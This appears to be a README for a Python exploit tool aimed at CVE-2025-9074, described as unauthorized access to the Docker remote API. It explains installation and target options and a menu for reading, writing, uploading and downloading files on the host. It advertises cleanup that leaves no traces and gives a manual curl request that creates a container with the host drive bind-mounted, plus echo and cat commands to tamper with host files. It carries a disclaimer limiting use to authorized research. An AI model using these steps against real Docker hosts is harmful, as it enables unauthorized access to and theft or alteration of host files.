
一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。
Un outil d’exploitation puissant pour l’API distante de Docker, conçu pour la recherche et le test de sécurité sur la vulnérabilité CVE-2025-9074.
✅ Gestion entièrement automatique du cycle de vie des conteneurs : crée automatiquement des conteneurs temporaires, les nettoie après utilisation, sans laisser de traces
✅ Gestion intelligente des chemins : reconnaît et convertit automatiquement les chemins Windows au format de montage Docker
✅ Processus entièrement automatisé : pas besoin de saisir manuellement des commandes complexes, interaction par menus, opérations sur fichiers en un clic
✅ Compatibilité multiplateforme : prend en charge parfaitement Windows et Linux
Opérations sur les conteneurs
Gestion des images
Opérations sur les fichiers de l’hôte
CVE-2025-9074 est une faille de sécurité dans l’API distante de Docker. Un attaquant peut, via un accès non autorisé à l’API Docker :
Utilisez le fichier requirements.txt pour installer toutes les dépendances :
pip install -r requirements.txt
Ou installez manuellement :
pip install requests docker websocket-client
Exécutez le script directement, en utilisant l’adresse par défaut de l’API Docker :
python CVE-2025-9074-docker-exploit.py
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
python CVE-2025-9074-docker-exploit.py [options]
Options:
-u, --url URL Adresse de l’API Docker (par défaut : http://192.168.65.7:2375)
1. Transférer un fichier vers l’hôte
Veuillez saisir le chemin du fichier local : /path/to/local/file.txt
Veuillez saisir le répertoire de destination sur l’hôte : D:/temp
Veuillez saisir le nom du fichier de destination (laissez vide pour conserver le nom d’origine) :
2. Télécharger un fichier depuis l’hôte
Veuillez saisir le chemin du fichier sur l’hôte : D:/temp/file.txt
Veuillez saisir le chemin de sauvegarde local : /tmp
3. Lire le contenu d’un fichier sur l’hôte
Veuillez saisir le chemin du fichier sur l’hôte : D:/temp/file.txt
4. Écrire dans un fichier sur l’hôte
Veuillez saisir le répertoire de destination sur l’hôte : D:/temp
Veuillez saisir le contenu du fichier : Hello, World!
Cet outil gère automatiquement le mappage des chemins pour Windows Docker Desktop :
| Chemin Windows |
|---|
Formats d’entrée pris en charge :
D:\ ou D:/D:\temp ou D:/temp"D:\file.txt" (avec guillemets)'D:/file.txt' (avec guillemets)⚠️ Avertissement important :
Créez un conteneur via l’API Docker et montez le disque de l’hôte :
curl -X POST "http://<target>:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "python:3.11.7",
"Cmd": ["sleep", "999d"],
"HostConfig": {
"Binds": ["/mnt/host/d:/tmp"]
},
"Tty": true
}'
Exécutez des commandes dans le conteneur pour lire/écrire des fichiers sur l’hôte :
# Écrire un fichier
echo "content" > /tmp/file.txt
# Lire un fichier
cat /tmp/file.txt
pip install docker websocket-clientpython CVE-2025-9074-docker-exploit.py
CVE-2025-9074-docker-exploit.py
├── Fonctions de gestion des conteneurs
│ ├── get_containers()
│ ├── display_containers()
│ ├── create_container()
│ ├── stop_container()
│ └── delete_container()
├── Fonctions de gestion des images
│ ├── get_images()
│ ├── display_images()
│ ├── pull_image()
│ └── remove_image()
├── Fonctions d’opérations sur les fichiers de l’hôte
│ ├── upload_file_to_host()
│ ├── download_file_from_host()
│ ├── read_file_from_host()
│ └── write_file_to_host()
└── Fonctions utilitaires
├── normalize_host_path()
├── create_container_with_mount()
├── start_container()
└── stop_and_remove_container()
Les issues et les pull requests sont les bienvenues !
Ce projet est fourni uniquement à des fins éducatives et de recherche en sécurité.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L’utilisateur assume l’entière responsabilité et tous les risques liés à l’utilisation de cet outil. L’auteur décline toute responsabilité en cas d’utilisation abusive ou non autorisée.
| Chemin de montage Docker |
|---|
D:\ | /mnt/host/d |
D:\temp | /mnt/host/d/temp |
C:\Windows | /mnt/host/c/Windows |
C:\Users\test | /mnt/host/c/Users/test |